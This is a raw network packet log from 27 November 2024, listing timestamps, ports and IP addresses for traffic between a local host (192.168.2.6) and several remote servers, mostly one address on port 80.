Nov 27, 2024 11:14:44.113528967 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.114259005 CET	49877	443	192.168.2.6	172.64.41.3
Nov 27, 2024 11:14:44.197510958 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.197659016 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.198518991 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.198971033 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.199064016 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.199328899 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.201834917 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.201953888 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.202037096 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.204632998 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.204781055 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.204830885 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.207493067 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.207559109 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.207591057 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.207663059 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.210383892 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.210429907 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.210449934 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.210520983 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.212949038 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.213032007 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.213066101 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.213099003 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.215689898 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.215745926 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.215815067 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.215846062 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.218363047 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.218460083 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.218461037 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.218800068 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.221086979 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.221158981 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.222541094 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.223624945 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.223731041 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.225263119 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.226221085 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.226331949 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.226372957 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.226994991 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.228887081 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.229077101 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.229188919 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.231334925 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.231458902 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.233253002 CET	443	49876	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:44.233316898 CET	443	49876	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:44.233361959 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.233995914 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.234056950 CET	49876	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:44.234097958 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.234219074 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.234349012 CET	49876	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:44.234363079 CET	443	49876	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:44.234400988 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.235866070 CET	443	49877	172.64.41.3	192.168.2.6
Nov 27, 2024 11:14:44.235934019 CET	443	49877	172.64.41.3	192.168.2.6
Nov 27, 2024 11:14:44.236391068 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.236413002 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.236464977 CET	49877	443	192.168.2.6	172.64.41.3
Nov 27, 2024 11:14:44.236510992 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.236510992 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.236635923 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.236658096 CET	49877	443	192.168.2.6	172.64.41.3
Nov 27, 2024 11:14:44.236661911 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.236669064 CET	443	49877	172.64.41.3	192.168.2.6
Nov 27, 2024 11:14:44.236669064 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.236681938 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.236687899 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.236694098 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.236742020 CET	49875	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:44.236752987 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.236771107 CET	49875	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:44.236797094 CET	49875	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:44.238845110 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.238965034 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.241118908 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.241610050 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.241684914 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.242600918 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.243788958 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.243906021 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.243974924 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.246387959 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.246495008 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.246558905 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.246558905 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.248934984 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.249018908 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.250530958 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.251302004 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.251451969 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.251535892 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.253734112 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.253806114 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.253875971 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.256225109 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.256288052 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.258537054 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.258776903 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.258876085 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.258956909 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.261219025 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.261230946 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.261316061 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.263613939 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.263659954 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.263679981 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.266136885 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.266171932 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.266247988 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.266247988 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.268577099 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.268654108 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.270587921 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.271048069 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.271157980 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.271229029 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.273564100 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.273670912 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.273756027 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.276012897 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.276114941 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.278518915 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.278522968 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.278609991 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.278661013 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.282679081 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.282776117 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.283729076 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.283818960 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.283842087 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.285916090 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.285937071 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.286005974 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.286051989 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.288463116 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.288528919 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.289669991 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.290894985 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.290958881 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.290991068 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.291141033 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.293375969 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.293412924 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.293471098 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.293577909 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.295981884 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.296102047 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.296163082 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.296163082 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.298424959 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.298480034 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.298497915 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.298639059 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.300759077 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.300860882 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.300894022 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.300992966 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.303658962 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.303728104 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.303787947 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.304068089 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.305788040 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.305932999 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.305958986 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.306222916 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.309186935 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.309247017 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.309345961 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.309345961 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.310792923 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.310870886 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.310925961 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.311052084 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.313189030 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.313333035 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.313352108 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.313389063 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.315675974 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.315845966 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.315866947 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.315924883 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.318695068 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.318713903 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.318762064 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.318762064 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.320656061 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.320741892 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.320822954 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.320914030 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.323024035 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.323124886 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.323133945 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.323211908 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.325555086 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.325577021 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.325638056 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.325638056 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.328001022 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.328109980 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.328115940 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.328186989 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.330476999 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.330672979 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.389153004 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.389205933 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.389781952 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.389832020 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.391525984 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.391539097 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.391602993 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.392318964 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.392426014 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.392450094 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.392491102 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.393996954 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.394054890 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.394347906 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.394397974 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.395967960 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.396022081 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.396106005 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.396172047 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.398082018 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.398175955 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.398185968 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.398308992 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.399818897 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.399895906 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.399918079 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.399935007 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.402570009 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.402582884 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.402694941 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.403403997 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.403461933 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.403512955 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.403512955 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.404994965 CET	443	49878	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:44.405071020 CET	443	49878	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:44.405108929 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.405119896 CET	49878	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:44.405167103 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.405190945 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.405227900 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.405438900 CET	49878	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:44.405456066 CET	443	49878	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:44.406922102 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.406934977 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.406981945 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.406981945 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.408644915 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.408853054 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.408910036 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.410351992 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.410393953 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.410451889 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.410514116 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.412046909 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.412123919 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.412170887 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.412542105 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.413763046 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.413824081 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.413830996 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.413885117 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.415416002 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.415477037 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.415498018 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.415518045 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.416903973 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.416922092 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.416946888 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.416956902 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.416986942 CET	49875	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:44.416986942 CET	49875	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:44.417001963 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.417006016 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.417012930 CET	49875	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:44.417064905 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.417064905 CET	49875	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:44.417083979 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.417120934 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.418596029 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.418704987 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.418823004 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.418823004 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.420221090 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.420284033 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.420308113 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.420331955 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.421828032 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.421906948 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.421992064 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.422087908 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.423429966 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.423485041 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.423576117 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.423620939 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.425043106 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.425133944 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.425138950 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.425199986 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.426704884 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.426717997 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.426753998 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.426779032 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.428132057 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.428177118 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.428239107 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.428356886 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.429673910 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.429784060 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.429810047 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.429867029 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.431242943 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.431307077 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.431344986 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.431446075 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.432884932 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.432897091 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.432979107 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.432979107 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.434313059 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.434372902 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.434408903 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.434452057 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.435772896 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.435823917 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.435848951 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.435887098 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.437275887 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.437357903 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.437385082 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.437472105 CET	49830	80	192.168.2.6	185.215.113.206
